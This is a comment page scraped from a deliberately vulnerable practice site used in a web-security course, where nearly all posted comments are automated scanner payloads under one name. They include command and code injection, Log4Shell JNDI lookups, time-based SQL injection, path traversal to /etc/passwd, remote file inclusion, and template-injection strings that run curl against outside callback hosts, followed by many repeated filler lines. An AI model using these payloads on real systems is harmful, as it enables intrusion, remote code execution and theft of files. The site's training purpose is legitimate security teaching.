Giedo van der Garde
Whoa - this thing is faster than my work car!
Test Test
Yeah, I've seen the way you drive :P
huge frege
echo 0QvS5pAuRL
huge frege
sleep 10
huge frege
ping -n 11 127.0.0.1
huge frege
sleep(bindec(decbin(10)))
huge frege
file_get_contents("http://kgvxwnouecenoraimvxnzfx"."vre7nfoect.szp.prbly.win")
huge frege
?>
huge frege
?>
huge frege
.sleep(bindec(decbin(10)))
huge frege
.file_get_contents("http://kgvxwnouecenoraimvxnctl"."ruhuodco63.szp.prbly.win")
huge frege
+sleep(bindec(decbin(10)))
huge frege
+file_get_contents("http://kgvxwnouecenoraimvxnlof"."lhmsemwpdg.szp.prbly.win")
huge frege
".sleep(bindec(decbin(10)))."
huge frege
".file_get_contents("http://kgvxwnouecenoraimvxncw6"."r1dkcrzdtu.szp.prbly.win")."
huge frege
(function(){var w=new Date().getTime()+10000;while(new Date().getTime()
huge frege
"+(function(){var w=new Date().getTime()+10000;while(new Date().getTime()
huge frege
(__import__("time").sleep(10))
huge frege
(__import__("urllib").request.urlopen("http://kgvxwnouecenoraimvxngtr"+"z8y73c6ybn.szp.prbly.win"))
huge frege
"+(__import__("time").sleep(10))+"
huge frege
"+(__import__("urllib").request.urlopen("http://kgvxwnouecenoraimvxnxgs"+"z4f3wzy3d3.szp.prbly.win"))+"
huge frege
${jndi:ldap://127.0.0.1#${sys:java.version}.kgvxwnouecenoraimvxn5nj${lower:a}su28imytg.szp.prbly.win:1389/abc}
huge frege
${jndi:ldap://127.0.0.1#${sys:java.version}.kgvxwnouecenoraimvxnbku${lower:g}wx4ozsfqn.szp.prbly.win/abc}
huge frege
${jndi:dns://${sys:java.version}.kgvxwnouecenoraimvxniex${lower:p}b1stm1zta.szp.prbly.win/abc}
huge frege
${jndi:ldap://${sys:java.version}.kgvxwnouecenoraimvxndkx${lower:3}onf8z4rk5.szp.prbly.win/abc}
huge frege
${j${lower:n}di:r${lower:m}i://${sys:java.version}.kgvxwnouecenoraimvxntc0${lower:t}mcygctoe5.szp.prbly.win/abc}
huge frege
${${lower:j}ndi:${lower:l}dap://${sys:java.version}.kgvxwnouecenoraimvxn6ov${lower:l}oj7icfbon.szp.prbly.win/abc}
huge frege
" / sleep(10) / "
huge frege
case when cast(pg_sleep(10) as varchar) > ' then 0 else 1 end
huge frege
case when cast(pg_sleep(10) as varchar) > ' then 0 else 1 end --
huge frege
"case when cast(pg_sleep(10) as varchar) > ' then 0 else 1 end --
huge frege
case (2-3)+6-(994077652) when not null then 1 else 1 end
huge frege
case randomblob(995691562) when not null then 1 else 1 end
huge frege
" | case (9+1)-5-(998469470) when not null then "" else "" end | "
huge frege
" | case randomblob(994081577) when not null then "" else "" end | "
huge frege
case (0-1)-1+(996789742) when not null then 1 else 1 end --
huge frege
case randomblob(992397194) when not null then 1 else 1 end --
huge frege
case (9-0)+3+(995434998) when not null then 1 else 1 end --
huge frege
case randomblob(997197824) when not null then 1 else 1 end --
huge frege
J0o5Tx5s
huge frege
c:/Windows/system.ini
huge frege
/../../../../../../../../../../../../../../../../Windows/system.ini
huge frege
Windows/system.ini
huge frege
file:///c:/Windows/system.ini
huge frege
c:\Windows\system.ini
huge frege
../../../../../../../../../../../../../../../../Windows/system.ini
huge frege
/etc/passwd
huge frege
/../../../../../../../../../../../../../../../../etc/passwd
huge frege
/proc/meminfo
huge frege
../../../../../../../../../../../../../../../../etc/passwd
huge frege
etc/passwd
huge frege
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
huge frege
.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/passwd
huge frege
http://szp.prbly.win/s/rfi1
huge frege
szp.prbly.win/s/rfi1
huge frege
https://szp.prbly.win/s/rfi1
huge frege
http://kgvxwnouecenoraimvxnwwaykb738pkhb.szp.prbly.win
huge frege
kgvxwnouecenoraimvxnolkmfyn3dnwtn.szp.prbly.win
huge frege
https://kgvxwnouecenoraimvxnx5jbp33oe47xm.szp.prbly.win
huge frege
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 10") }
huge frege
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 10")) #set($null=$proc.waitFor()) ${null}
huge frege
[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("sleep 10").waitFor()}]]
huge frege
${script:javascript:java.lang.Runtime.getRuntime().exec("sleep 10").waitFor()}
huge frege
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 10")}}
huge frege
${__import__("subprocess").check_output("sleep 10", shell=True)}
huge frege
{{__import__("subprocess").check_output("sleep 10", shell=True)}}
huge frege
<%=system("sleep 10")%>
huge frege
#{system("sleep 10")}
huge frege
{system("sleep 10")}
huge frege
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("curl http://kgvxwnouecenoraimvxnu1i"+"6lauwk9tvw.szp.prbly.win") }
huge frege
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://kgvxwnouecenoraimvxnnsx"+"chtqa66wcf.szp.prbly.win")) #set($null=$proc.waitFor()) ${null}
huge frege
[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("curl http://kgvxwnouecenoraimvxnfka"+"5zaaaahr4h.szp.prbly.win").waitFor()}]]
huge frege
${script:javascript:java.lang.Runtime.getRuntime().exec("curl http://kgvxwnouecenoraimvxnw7d"+"ye3jfkusx2.szp.prbly.win").waitFor()}
huge frege
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("curl http://kgvxwnouecenoraimvxntot"+"0qwej1q7ih.szp.prbly.win")}}
huge frege
${__import__("subprocess").check_output("curl http://kgvxwnouecenoraimvxnmkr"+"dupxsv1nxe.szp.prbly.win", shell=True)}
huge frege
{{__import__("subprocess").check_output("curl http://kgvxwnouecenoraimvxniz2"+"ysdfqs2g5b.szp.prbly.win", shell=True)}}
huge frege
<%=system("curl http://kgvxwnouecenoraimvxnnld"+"kl4hmt96lr.szp.prbly.win")%>
huge frege
#{system("curl http://kgvxwnouecenoraimvxnrmo"+"wod52wzaqe.szp.prbly.win")}
huge frege
{system("curl http://kgvxwnouecenoraimvxnd87{""}5ulhm5gjey.szp.prbly.win")}
huge frege
6560620614218629743.whatdoesascannersee.com
huge frege
http://6560620614218629743.whatdoesascannersee.com
huge frege
https://6560620614218629743.whatdoesascannersee.com
huge frege
.6560620614218629743.whatdoesascannersee.com
huge frege
//6560620614218629743.whatdoesascannersee.com
huge frege
\\6560620614218629743.whatdoesascannersee.com
huge frege
pRrLlYPLUjbCOYmXb4lGpsS
huge frege
XhmqkMBD
huge frege
J0o5Tx5s
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
huge frege
<%={{={@{#{${zj}}%>
huge frege
test test1
This website is provided by troyhunt.com as part of the Pluralsight course
Hack Yourself First: How to go on the cyber-offence .
It's full of nasty app sec holes. No seriously, it's terrible!
This course is designed to help web developers on all frameworks identify risks in their own
websites before attackers do and it uses this site extensively to demonstrate risks. Feel free to browse through this site and go
watch the course if you'd like to see both the risks and mitigations in action.
Note: The underlying database will be frequently re-built.
Hint: There are 50 very sloppy security practices to be found!